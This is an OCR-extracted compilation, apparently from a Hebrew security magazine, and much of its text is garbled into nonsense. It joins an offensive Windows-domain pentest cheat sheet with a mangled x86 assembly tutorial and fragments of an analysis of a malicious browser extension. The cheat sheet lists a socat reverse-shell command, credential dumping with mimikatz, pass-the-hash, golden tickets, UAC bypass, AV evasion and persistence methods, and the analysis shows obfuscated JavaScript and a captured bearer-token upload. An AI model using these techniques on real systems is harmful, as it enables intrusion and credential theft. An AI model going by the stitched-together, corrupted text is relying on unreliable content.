http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/sensepost/reGeorg
https://www.shodan.io/
https://censys.io/
https://github.com/devttys0/binwalk
http://www.devttys0.com/tools/
http://jcjc-dev.com/2016/04/08/reversing-huawei-router-1-find-uart/
https://www.dd-wrt.com/site/support/router-database
http://routerpwn.com/
https://www.sans.org/reading-room/whitepapers/testing/exploiting-embedded-devices-34022
https://www.sans.org/reading-room/whitepapers/testing/exploiting-embedded-devices-34022
https://www.sans.org/reading-room/whitepapers/testing/exploiting-embedded-devices-34022
https://www.busybox.net/
http://www.dest-unreach.org/socat/
http://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html
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Tools

Be prepared with
all the basic tools
you need for the
hack.

e Read about OPENSSL-LISTEN for encryption.

Server Command-line

socat TCP-LISTEN:1337,reuseaddr,fork
EXEC:bash,pty,stderr,setsid,sigint,sane

Client Command-line

SSL Socat

Reverse Shell

Connection
socat FILE: tty’,raw,echo=0 TCP:127.0.0.1:1337
Netcat (nc)
e -e option for binding a process
Sniffing 1. tcpdump Tcpdump Tcpdump
2. dsniff (plain text password) cheatsheet
dsniff
Scanning nmap nma Nmap
cheatsheet
Spoofing 1. Arp (ettercap, dsniff) Ettercap
2. DNS (DNSpoof)
3. Windows Networking (Responder.py) Dsniff
DNSpoof
Responder.py
Tunneling 1. Regular port forwarding (tgcd, socat, nc) Tgcd
2. Basic SOCKS5 proxy forwarder (tgcd)
3.  Web SOCKS5 proxy forwarder (reGeorg) Socat
Port Forwarding reGeorg
SOCKSS5 Server 1. Proxifier Proxifier

2. ProxyChains
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https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://www.tcpdump.org/
https://www.monkey.org/~dugsong/dsniff/
http://bencane.com/2014/10/13/quick-and-practical-reference-for-tcpdump/
http://bencane.com/2014/10/13/quick-and-practical-reference-for-tcpdump/
https://nmap.org/
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://ettercap.github.io/ettercap/index.html
https://www.monkey.org/~dugsong/dsniff/
https://github.com/DanMcInerney/dnsspoof
https://github.com/SpiderLabs/Responder
http://tgcd.sourceforge.net/
http://www.dest-unreach.org/socat/
https://github.com/sensepost/reGeorg
https://www.proxifier.com/
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ProxyChains

Python So you can extend your tool arsenal easily: Static-Python
1. Static Python
Misc PTY Shell screen
1. Screen
Domain Admin
Get domain Observe and 1. Sniff the network promiscuous mode Tcpdump
admin Scan 2. Sniff windows traffic (LLMNR, NBT-NS, SMB)
a. Responder.py -A Dsniff
3. Slowly scan the inner network. Search for servers,
_ applications, services, embedded.
Assuming we are a. Try to find public vulnerabilities. Responder.py
inside windows
domain network
nma
Get the Hash | 1. Spoofing Responder.py SMB Auth
a. ARP Spoofing _
b. SMB Auth Server Spoofing Inveigh
c.  DNS/LLMNR/NMBS Spoofing
Over the .
K 2. WPAD MiTM
networ a. Setup WPAD proxy
b. Spoof LLMNR/NMBS requests
c. Inject HTML code for NTLM challenge
request
Get the Hash Il Get cleartext passwords/hashes of users in the domain: Powersploit Pass the Hash
1. Hack into one of the servers
a. Escalate to administrator o
On the victim b. Elevate to SYSTEM (PowerSploit, psexec, Creddump Mimikatz to.
mimikatz-elevate) dump
2. Inject to Isass.exe and dump logged-on user hashes passwords
(mimikatz-sekurlsa-LogonPasswords) Mimikatz
3. Getlsass.exe memory dump and restore at home
(mimikatz-sekurlsa-minidump) Mimikatz -
4. Download ‘SAM’ & ‘SYSTEM’ hives and restore at SEKURLSA -

a. Copy with Shadow Copy
b. Break at home (creddump, mimikatz-
Isadump)

LogonPasswords

Mimikatz-
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http://proxychains.sourceforge.net/
https://github.com/bendmorris/static-python
https://www.gnu.org/software/screen/
http://www.tcpdump.org/
https://www.monkey.org/~dugsong/dsniff/
https://github.com/SpiderLabs/Responder
https://nmap.org/
https://github.com/SpiderLabs/Responder
https://github.com/Kevin-Robertson/Inveigh
http://www.ampliasecurity.com/research/NTLMWeakNonce-bh2010-usa-ampliasecurity.pdf
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
https://github.com/Neohapsis/creddump7
https://github.com/gentilkiwi/mimikatz
https://github.com/secabstraction/WmiSploit
https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords
https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords
https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords
https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump

Technologic

Isadump

ShadowCo

Mining SYSVOL
for credential
data

Search domain .XML Group Policies files in:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

Than use Group-Policy-Preferences windows features and
extract the password (using the AES-256 key)

Microsoft’s AES

SYSVOL AES

Publicly-Shared

Passwords

Key

Cracking 5. Crack the hashes at home for getting clear text John the ripper | JohnTheRipper
passwords CheatSheet
a. Bruteforce (john the ripper, hashcat)
hashcat
JohnTheRipper
Hash Formats
Get domain 1. You should use |dp.exe active directory query tool, Hunt Sysadmin
passwords for better understanding of the domain. Search for
one of the servers that the admin is likely to be
logged in on: ]
a. One of the main servers (Email, DC, etc..) Abu5|.n _AD
Admin b. S}{sAdmin PCs m
passwords are 2. Do all of the above.
for the best
Idp.exe
Lateral Movement
Pass the Hash PSExec Remotely creating a new service that runs us as SYSTEM. Psexec
1. Windows environments (psexec)
2. UNIX environments (pth-toolkit, winexe)
3. Metasploit (psexec_psh) Pth-toolkit Eventlog
4. Powershell (invoke_psexec)
5. Pure Python (Impacket psexec, smbexec)
6. Mimikatz (Mimikatz-Sekurlsa-pth) .
Winexe
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https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
https://en.wikipedia.org/wiki/Shadow_Copy
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
https://adsecurity.org/?p=2288
https://adsecurity.org/?p=2288
http://www.openwall.com/john/
https://hashcat.net/hashcat/
https://countuponsecurity.files.wordpress.com/2015/06/jtr-cheat-sheet.pdf
https://countuponsecurity.files.wordpress.com/2015/06/jtr-cheat-sheet.pdf
http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
http://www.slideshare.net/harmj0y/i-hunt-sys-admins
http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/
http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/
https://support.microsoft.com/en-us/kb/224543
https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
https://github.com/byt3bl33d3r/pth-toolkit
https://sourceforge.net/projects/winexe/
https://countuponsecurity.com/2015/11/25/digital-forensics-supertimeline-event-logs-part-ii/

Technologic

psexec psh

Invoke-psexec

impacket
WMI Windows Management Infrastructure. Impacket Abusing WMI
Servers: Opened by default.
Clients: Blocked by firewall. Pth-toolkit
1. Pure Python (Impacket wmiexec)
2. UNIX environments (pth-wmis)
3. Powershell (Invoke-wmi) invoke-wmi
4. Windows Built-in (wmic.exe)
PSRemoting Disabled by default. WinRM
WinRM
Clear Passwords Windows Built-in windows scheduled tasks utilities Examples
Builtin
1. at.exe
2. Schtasks.exe
Built-in windows services handling
Note: All of
them require 1. sc.exe
clear text Built-in windows management infrastructure
password
1. wmic.exe
Active Directory GPO Run logon script, install an MSI or execute a scheduled Empire - New GPO Explained
task using domain Group Policy Object. GPO
Group Policy
Object 1. Enumerate all GPOs in the domain

2. Find the relevant GPOs that related to your specific
OU, matching by the GUID in the gPLink Attribute of
each OU

Understand who can edit those GPOs

4. Weaponize GPO with scheduled task

w

Abusing GPO
Permissions

Abusing Active
Directory

Domain Tickets

Domain Tickets

Special Domain Tickets which provide some persistency in

PyKEK

Golden Ticket
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https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
http://www.powershellempire.com/?page_id=523
https://github.com/CoreSecurity/impacket
https://github.com/CoreSecurity/impacket
https://github.com/byt3bl33d3r/pth-toolkit
http://www.powershellempire.com/?page_id=124
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
https://msdn.microsoft.com/en-us/library/cc219956.aspx
https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
https://adsecurity.org/?p=2716
http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/
http://www.harmj0y.net/blog/redteaming/abusing-active-directory-permissions-with-powerview/
https://github.com/bidord/pykek
https://adsecurity.org/?p=1640

Technologic

the domain network:

1. Golden Ticket - KRBTGT (Mimikatz-Kerberos-Golden)

2. Silver Ticket - Network Domain Service (Mimikatz-
Kerberos-Golden)

3. Forged Kerberos Ticket MS14-068 - (PyKEK)

Mimikatz-

Golden-Tickets

Silver Ticket

Forged Kerberos
Ticket

Detecting
Domain Tickets

Payloads AV Evasion Generate windows binary payloads for remote shell. Veil-Evasion Veil + Psexec
1. \Veil-Evasion Py2Exe Payloads
Changing binary resources:
Resource
1. Resource Hacker Hacker
“In-Place” Movement
Impersonation Token Stealing Steal token of another process to impersonate: Incognito Access Token
1. Incognito
2.  Mimikatz-Token
Mimikatz-
Token
Windows Built- | Run an executable as another user: Runas from as
in batch file
1. runas.exe
Run as
Bypass UAC User Account Control (UAC) informs you when a program | UACMe UAC Explained
makes a change that requires administrator-level
permission. Can be avoided using self-privileged objects:
1. IFileOperation COM Object Empire UAC for.
2.  Windows Update Standalone Installer PenTesters
3. DLL Path Hijacking
Bypassing UAC
Elevation You should elevate yourself to Administrator or SYSTEM: Powerup

1. Public vulnerability
2. DLL Path Hijacking - Administrator
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https://adsecurity.org/?page_id=1821#KERBEROSGolden
https://adsecurity.org/?page_id=1821#KERBEROSGolden
https://adsecurity.org/?p=2011
https://adsecurity.org/?p=676
https://adsecurity.org/?p=676
https://adsecurity.org/?p=1515
https://adsecurity.org/?p=1515
https://github.com/Veil-Framework/Veil-Evasion
http://www.angusj.com/resourcehacker/
http://www.angusj.com/resourcehacker/
http://e-spohn.com/blog/2013/06/17/veil-psexec-py-pwnage/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://adsecurity.org/?page_id=1821#TOKEN
https://adsecurity.org/?page_id=1821#TOKEN
https://labs.mwrinfosecurity.com/system/assets/142/original/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
http://stackoverflow.com/questions/22866137/automatically-respond-to-runas-from-batch-file
http://stackoverflow.com/questions/22866137/automatically-respond-to-runas-from-batch-file
https://github.com/hfiref0x/UACME
https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
https://blogs.technet.microsoft.com/mrsnrub/2010/08/06/user-account-control-but-im-an-admin/
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know/
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know/
https://www.greyhathacker.net/?p=796
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

Technologic

3. Service Abusing - System

Process Injection

Being stealthier by injecting code to another process,

PowerShelllnje

without dropping files on the disk. Usually it is done by ction
‘CreateRemoteThread()’:
1. Psinject
2. Blackbone Blackbone
3. Reflective DLL Injection
4. Metasploit migrate
Remote Remote Cross-Platform RAT: PuPy
Administration Administration
Tool Tool 1. PuPy
Unix RAT:
RAT RAT g-shell
1. g-shell
Information RAT’s important features:
Gathering
1. Encrypted Communication
2. Compressing data
3.  Running in-memory
a. CliCommand
b. Shell exec (PEs, Payloads)
c. Python Scripts
d. Powershell Scripts
4. Download/Upload files
5. Registry
6. Credentials stealer
a. Windows
b. Browser
c. Applications
7. History
a. File History (Recent)
b. Browser
8. Llogging
a. Eventlog
9. Keyboard Sniffing
10. Screenshot
11. Network Sniffer
12. Proxier
a. SOCKS5
b. Port forwarding
Persistence
Windows Startup Folders | Applications can write a LNK file to those directories and
Userland be loaded with the next boot:

1. “%SystemDrive%\ProgramData\Microsoft\Windows\
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http://www.powershellempire.com/?page_id=273
http://www.powershellempire.com/?page_id=273
https://github.com/DarthTon/Blackbone
https://github.com/n1nj4sec/pupy
https://github.com/qianshanhai/q-shell

Technologic

User’s privileges

Start Menu\Programs\Startup”

2. “%SystemDrive%\Users\%UserName%\AppData\Roa
ming\Microsoft\Windows\Start
Menu\Programs\Startup”

*Note: this technique is not stealthy

Registry Some of the popular registry persistence locations. Can Rundli32
be used with Rundll32.exe:
1. Run
2. RunOnce Windows
3. RunServices Persistency
4. RunServicesOnce
5. Winlogon
*Note: this technique is not stealthy
Windows Scheduled Tasks | Run commands using scheduled tasks: Windows
Userland Persistency
1. Schtasks - can react to specific events
SYSTEM'’s 2. at
privileges
DLL Hijacking Stealing a DLL loading in some sanerious: Windows

1. DLLis missing and optional

2. Only the DLL name is specified, not the whole path
Combining with running not-in-use / turned-off services
could be a good technique.

Persistency

Service Installing a new service
WMI We will create MOF file which will be inserted into the Permanent WMI
WMI repository as our persistency method: Event
Permanent Subscription
Event 1. Create MOF file using MOF
Subscription a. Namespace - root\subscription (Microsoft’s
recommendation for storing permanent
event subscriptions)
b. EventFilter - Win32_Provider Filtering Windows
Managed c. EventConsumer Persistency
Object Format i. CommandLine - for cmd line code
(MOF) ii. ActiveScript - for vbs code
d. FilterToConsumerBinding - to bind filter
mofcomp

with its action
2. Encrypt & Base64 the consumer payload for avoiding
AVs
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http://www.robvanderwoude.com/rundll.php
http://www.fuzzysecurity.com/tutorials/19.html
http://www.fuzzysecurity.com/tutorials/19.html
http://www.fuzzysecurity.com/tutorials/19.html
http://www.fuzzysecurity.com/tutorials/19.html
http://www.fuzzysecurity.com/tutorials/19.html
http://www.fuzzysecurity.com/tutorials/19.html
https://msdn.microsoft.com/en-us/library/aa394639(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/aa394647(v=vs.85).aspx
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
http://www.codeproject.com/Articles/28226/Creating-WMI-Permanent-Event-Subscriptions-Using-M
http://www.fuzzysecurity.com/tutorials/19.html
http://www.fuzzysecurity.com/tutorials/19.html
https://msdn.microsoft.com/en-us/library/aa392389(v=vs.85).aspx

Technologic

3. Compile to binary version of MOF - mofb

4. Mofcomp.exe for inserting into WMI repository

Patch Binaries

5. Query/Delete through PowerShell Powershell
Script for WMI
Persistency
Portable Statically patching PE binary files: the-backdoor-
Executable (PE) factory
1. Inject code and change starting point to shellcode:
EXE / DLL a. Code Caves
b. New Section
2. Import table patching
Executable and | Statically patching ELF binary files: Backdoorme

Linkable Format
(ELF)

ELF /SO

1. Inject code and change PE starting point:
a. New Section
2. SetUID bit for running as root

Proxy Dlls

Proxying DLLs:

1. Copy the external signature APl of a known DLL
(export table).

2. Call the real DLL whenever your DLL is running and
send him the real API request.

3. Change the location of this DLL and replace it with
yours.
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https://gist.github.com/mattifestation/e55843eef6c263608206
https://gist.github.com/mattifestation/e55843eef6c263608206
https://gist.github.com/mattifestation/e55843eef6c263608206
https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning
https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning
https://github.com/Kkevsterrr/backdoorme
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2 770 - "7anox

72 'OIX NXKN

nNTN

NITIPON .XIANNN base.asm 7y 002N'w ,n%wn T QM NI'0'0L NITIPOA 7I0Y1 AT 2702
NN TRl NTIPON DY NIX DI'¥N IR *7200X2 .NIF7'W NISYIAN MW YN NIXA NI7VI9 22aN0K
NnIapn AN ,TNR TI9IR NI7ApNn NITEonn 270 .(Mwnnhwn NTI9n 0N NRNdT) D' TINSDIND

227091 0'M9IR NI7apEn X7 NITNNRI DYDY

mov NTIj?9

NITIPON NNd 72V DIOXKY IND N2V IS MY ,NKT DYIL,DTIPN 7702 112TN 12D Mov NTIPON NN
AIENRN DR IYNLL,TYN DR UYN IWRID TN9IRD .(ops =) DTNDIX W N7a7N 1T NTIRoN .0'0aN

i Yalih)

‘ mov ax, 5h

INNT NNIYY? .ax 200N 7N ,"m'\rrormn 0'011 ,5 190NN NX 1'ayYn

‘ mov 5h, ax

.ax-1 IMYY 1WN DR L5 19010 MY 01007 [N XY 1N R nun

DINYNI D'YUNNYN 1IXWD .base.asm 0'01N TI?2 1NATNY 'S ,01Y 0D00'AN ' DA ri'nvn'7 N1

V2NN D'™MAI0 MTY] DNIX X)) IR ,||'WJ"D 122Nn0N NITIPO N2y

217N TNDINNA YT'N DX Ngnin X7 mov nTizon 1Y my
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:NEnya DT

NINQN D'DOYTA P'NYN7 MNim

mov register, memory
mov register, constant
mov register, memory
mov memory, register
mov memory, constant

XA T2 PYNT7 N X7 NRT DNyt

mov memory, memory

2V ,1awn

NI NRNDT W7 nwn |7!~)0'7 N1 X7 ,2aunnn n1an 7w ,XIAnNd 1YY 190W X' ']D'? nl'on

Q'Y K77 yTn IR 1Nt D ,0N1' 100100 WNNwn? NIX W RIR NPT

,bl-n w7 0710 X7 IR ;N1 0 nyn NI 7T 210 ININA D'70YNN IRY XTI W' 27 o
TIY DA W'Y 21D .[121 117 AN AT NN N1'NANY NINNY ,0'01 16 NINW ,ax-7 ,0'0' 8 NXINY
XIN I"Mww ,100h 190nn NX al-7 01507 701 X7 AT 1% w'w nnnkn 77120 Ni7aana awnnn®
X7 DMo0n1) 0-255 DDA DINNA 190N a7 17 DNWONN D'V 8w [N L'mNT 256

.(D"mion

ANXY TIP NNIY DN DXR) TP DNIY 19'0101 ,base.asm yalp? 1wa .NXp 0T DX 7220m ,1'wdy
¥ T 100 N bx 7w wn (b -2 ion) Mk 100 N ax 7w Wi D (mov ds, ax nTIzon

.(h -2 jnion) *mxT017n 100 N di 7w 1wt L (Mion XY7)
IN2'T DIEN |I'YY7 NIYaNN 02101 YIN'Y

Ny AT , VNN DYY? 190N 0'9'0Mn 1INIX ,2 VN2 D"Ion DM 2V ynaxn? 0N R URD
AIT'ON 150NN NKX W' DI 70311, TNX N XIN DN TRR 72 7 TIY ,2JNMIPN MYV 1Y arr 7Vnn

NNTYA ax-7,(0 190n) [IYXIN DIPNIAY YN DX 7'Nyn? 0710 11X ,(9 Tv 0-n) 17w

mov ax, [arr]

T2V INT NWYI .0ON'YN YANYT TXD 17200K7 ni7 1'7Y ,0NK NI 01y 1R WX 73R

NIV'YAN NNK 797 W'y 1'wdy DT IR .bx, si, di DMVOTAIN TNNA IX L'UOIN 190N WIN'Y

.(7 2o0n) 1yna 1Mmwn Dipn? nyan' LI7Rn
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NIYURY T

mov ax, [arr + 7]

MY T

mov bx, 7
mov ax, [arr + bx]

NN X7 R ,di IX IX si DX bx-7 9'0In7 DA N1 .bx DIpNA di-2 IX si-2 wnNwn? n'n Ny 27 g *

TN DNY

:offset NnTIzoO

D DTV R'DILNITIPON INWA TWUKNA MY NMIXD D'UNNWNA 1IRY [N, NTNIM DT X offset
-1 WYNNWN? [N ,NNTIEN NNAIT? JITN] OX .0™0N DI 7Y 00NN NIX [IND'T7 IX 1007 0'1ONY

:NO0N NV'W 1IN offset

mov bx, offset arr
mov ax, [bx + 7]

.NINY '9D 1ynn 0W7 XN7 X721 offset NTIP92 wNNwN? NIQ'o X¥xnl X 0'NWYY
:add TIPS

D ,NNAIT? LTV TNISINA AXRXINN NIX NNNIYIE TV TIN9IX |'J'7 ANIPNN TNOIR ' 1A' nwily

NX2N T2 YNNY ax -1 DNIR mw1 3-1 8 0"1vonn NX 1anY

mov ax, 8
mov bx, 3
add ax, bx

02D NYXY NIVl (mov NTIpo2 IYJD) q00'AN DY |ND'T2 DA wnnwny |h1 S0

:sub nTIEO
LTIV N2V 0191 X7 271, TV TINDINA ARXINN IR DNIY ITN DTIR9N DA I0N
linc NTIPS

:DIYII NN ax X NI7UNY T .TNXK TIN9IX 77 172N ITn NTIpon .1-2 TIN9IXN DX N7un

inc ax
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:dec NTIpO

, TR 1DWW TIN9IX DY add-2 871 dec IX inc NITIPS2 YNNWN? N2'0N .TNX2 TINOIXN DX TN

.[N2'T NIND NIYAIT [NY RN
Ximul-1 mul nITEo

N7227n NTIR9N .0NI0N 090N 1IAY imul-1,0MNI0N DI'RY DMID0N 112V 17920 NTIRS X'N mul
VDY ,NTNIM NMIX2 NWID N71YON ,N790N 7w NNYWORN N7ITan NRXINN 77221 TR TN9IX

:(imul 227 Da qpn At 72K mul ixn n7202) nkan n7a0a

NNXIN AT NTIPON
ax=al * bl mul bl mul register (8 bit)
dx:ax = ax * bx mul bx mul register (16 bit)
ax = al * var mul var mul memory (8 bit)
dx:ax = ax * var mul var mul memory (16 bit)

lidiv -1 div niTipo

5011 N7202 YNNWI NIANN NIYOIXRN 77221 ,011101 D901 NINON i NIXN ,N9 DA .717'N NITIR9
N'D DAl 717'NN 7w NIRWN DR NAwnn mod n71von .(idiv '2a7 DA nopn X0 X div |'1xn n7a01)

7202 NN

NNXIN marT nTIPo
al = ax div bl div bl div register (8 bit)
ah = ax mod bl
ax = dx:ax div bx div bx div register (16 bit)
dx = dx:ax mod bx
al = ax div var div var div memory (8 bit)
ah = ax mod var
ax = dx:ax div var div var div memory (16 bit)
dx = dx:ax mod var
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:neg NTIIO

N N7 NTIRoN .2-7 0wnn NU'Y 197 L17W TN 19017 190NN R NDOIN NINTN NTIZON

JANIX NO9OIN XK'l TNX TINOIR

AND 1 0
1 1 0
0 0 0

AT NITIES
.N19¥NAI YT NO'NTA D'POIY TUKD NI'YIN'Y [N ,0'TTIA D'V NIRWNA N7 NITIRO
:and NTIO

:NIX2N 07200 197 TI912 V1 7D W N7IY9N NX NYYaN X'NIEL,DTNDIN Y D'?JPYJ NTIPZON

OX IX V2N ,7'7nnn ,(AIT XIN 150N DX |7I'I'1'7 N> 0DNAT NIWY? ' AND DRLTEAY YUNNYN? TWON

JIRT DYIYY TR 120D "7 NIN

:or NTIO

'NN2N N720N 'S 7V N7WI91 DFTINOIN 1Y N7apn

:xor NTIPO

:N720N '9 7V N7WI9 .0'TINDIN W N3N

OR 1 0
1 1 1
0 1 0
XOR 1 0
1 0 1
0 1 0
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XOR nTiponw non ,0 7w npnyna wnnwn? Dipna ,N000 09X7 1O NN N2 D'Ynnwn

'9¥N7 "> N2 D'WUNNWN L5012 .|N'TA DI NIND NYAIT
:not NTIEO

17w 0'0'aN 75 X NDDINI,TNXK TNDIX N'72n

NOT
1 0
0 1

TN NITIPS

DY%0N I7'nl 7937 DA wnnwn? N1 17w D'0an DR NITTAI TN9IR NI7apny NITIoS

(DMIYRE 9I¥X 72X ,2'NIR X7 DNY7Y) NIDXNT NINAY [I7'NY7 DAl ,2-1 D'R7NNNY
:shl nTipo

7T LWIXTY NITTAN 1901 XIN WL ,NTTNY 190NN KIN [IYRIN ,0'TN9IX QW D73 NTIRon
0'an nX (CF) XwIN 7277 nE'Myni "' 027 09X NONIT ,N7RNY TNR DIN D'0'AN ‘7D DX

.(MInn) "M Rnun

:shr nTio

.2-1 D'P7NNNY D500 217'NYT 7X17 NI NN N1t TTRN DR NYIY XY 70 ,shr nTipe? ant

DnId'oY

DNX I'YDY .[A7Y D'WIN'YNN 270 1101 ,ATTA NITIROL NI NITIRD ,NI'0NNMIN NITIRO Ny

I8N NI71Ivon NN 720N *12 ,00%7wn 0TI 2mdY? 7'nnin 0o
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downloader
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victim’s Cloud Browser
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Facebook/Google 2 S_tage
/Dropbox etc. Tl'Ojan
takeover unpacks
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D'90INN NNTANT7 NWAT 217NN YN TI7 791 XIN UKD LINXYWI7 0Y71WdNn 70 mxy qoinn

2211 7w 0'90INN NIINY 21N y¥ann chrome://extensions-7 Nn0'5n Ny .[9T9T2

Reload 2y nwnl ,|979T2 "developer mode" I'Tn [¥N7 2y YIN77 W' TIzn IMIX 7¢ "nonn X7
[I'0'IN NIX 117 JI0N' DT PY ,NMIPNn NI¥A data.js Yalipn DX 2172'w nIn 7 2177 QOIN INIR 7w

2 WNNWn N9'PNN MWW [T INIX “0I9NY7”

debugger;
//generated do 4587
//contact: securesys|

E-n "1; R++, Is+

"length"]) { |Q = "6pEDSI

2debugger?*Iconsole’™
userAgent?*7native codel*?

eval(h[391); h =
return function() {};
} catch (L) {
try {
(function() {}).constructor(h[39])(); h = Array[44]
re function() {};
} catch (3) {}

[ [if (h[23] in eval) ¢
return function() {};

indow === h[] && typeof windew[h[7]] !== h[8] ? window : global,

{
n new W[h[@]1(n[9]1)[h[2]](F) ? j[h[1€]](1, J[P[11]] - 1) : §;

NISoI11 Nianl A"d"MY Ny an
Debugger

Y7 NIn 7y eval N'¥7191 WIM'Y QWY UOMIZON DY NIRXIN NN K7 TIZN 7¢ N'0VO NT'7IXR
D'PI72N DX 727 N Y N'NNdN NNTD DMRYIT NTR LPY .NXM pr ntnnmn N T
OP"MAINN DX 7NN TP Yo7 0101 y'axnn ,TIpn DX A2T7 |1'01 17nna JTIipn 7w nnonn
NN TIPN YOR DX '0NY |I'01 .NIMY 5 7w sleep-7 NixMP 5000 7yn 7 917 OTI' DXYAY "ANAT”

NAYA 7pm)

(function () {

(function () {
function a() {
(function () {}) .constructor (
+
+
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L sw » Global Window
v Call Stack
1l Like W Comment # Share (anonymous function)
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AT TINN N2ON |WNA 712091 2T 7213 7w DOM-n NX N7 09700 NK X'Y

Friend|

| WA

v

X", n=U2¢. X80, I=X, f=b, F=I [Math[U2e.x30] (U2[2] (E,Math[U2e.R301()))

0/ 2q="+url+"2"+gr[U2e.R30](18008,99999) ,type: "GET" ,async: T

2.php™+* 2ddd="+fb[U2e. 160]}

yian nodn? nnnn

VPN TN YN [DTOTN 7uNn NNIAYNN 70 NN 105N1 TIPN 21 DK NIYS7 IN7¥NY INK7 ,NYd
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A"N QPINN DY 1M10 JIX'Y7 NIn 2V .19 12090 [12WN7 "ANNNY Q117 INIR 79 2T 729

2T 7227 2N nya wnnwnn 9w (Authorization token) *TIN"'n NN NX 21037
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Host: accounts.google.com
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D'NN'YN YA UNNYNY? NIYY DY 0IYD XD ITA NXRN0 72 7D X0 nwpan 7w nnonin

:O'NAN

e Google URL Shortener

e Google Drive API

A7 7w timeline-2 qwNN2 ynour' Google Shortner-nw X'N 178N DM'9'¥90N O'NIN'Y7 N1'ONn

(MnmMr 7Y Myt nan 2y) Q01 IR 7w 20T 2227 7200 72070 .nwa 0019 N7V QEINN TWUKRD

:D'NN'W DNIND YIN'W TWRNAN 7100 DX 700 nwjpa? nanna ninw (Payload) (yonin

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Content-Length: 1122

<!DOCTYPE html><html><head><title>Connecting...</title><meta http-

equiv=

Src=

value=
value=

id=
id=
value=
type=
type=

content= ><meta http-equiv=
content= ><meta name= content=
><script

></script></head><body dir= ><input type= id=
/><input type= id=

/><input type=
value= /><input type=
value= /><input type= id=
/><input
id= value= /><script
>self| ] = function ()

{postmessage.onlLoad () ;};</script><script type=

src=
dy></html>

></script></bo

:Authorization-n N> 7w Bearer-7 172 ,2*T 72127 HTTP Nwjra 751 ynor* waTmy [71on

Headers | TextView

WebForms | HexWiew | Auth Cookies || Raw 150N XML

POST https:// www.googleapis. com/upload/drive/v3/files?uploadType=multipart HTTP/1.1 -

Host: www.googleapis.com

Ccantent-Length:

origin: https:

authorization: Bearer yaz9.CjAUlAwoFMSZ2h7TOb1fghNgAlCcC79evb3hb_s17ktYG2E9AsVapPXQq3gsUefsg_tj4a

Connection: keep-alive

14206

m

sww . Tacebook. com

x-clientdetails

ACcept: =/®
Referer: https:

: appVersion#3D5. 0%20(Windows%20NT%2010. 0%3B%20WOWE4 ) %20App T ewWebK i1 t¥%2F537 . 36%20 (KHTML%2C %2014
¥-goog-encode-response-if-executable: basesd

User-aAgent: Mozilla/s.0 (wWindows NT 10.0; wWOws4) Applewebkit/537.36 (KHTML, 1ike Gecko) Chrome/51.0.2704.10: —
content-type: multipart/form-data; boundary="---—-——— 320283915743702750000"

¥x-javascript-user-agent: google-api-javascript-client/1.1.0-beta

K-Client-Data: CI2zyQEIpbblAQjELSKBCPGCYQE=

/S, FTacebook. com/

Accept-Encoding

4|

: gzip, deflate, br
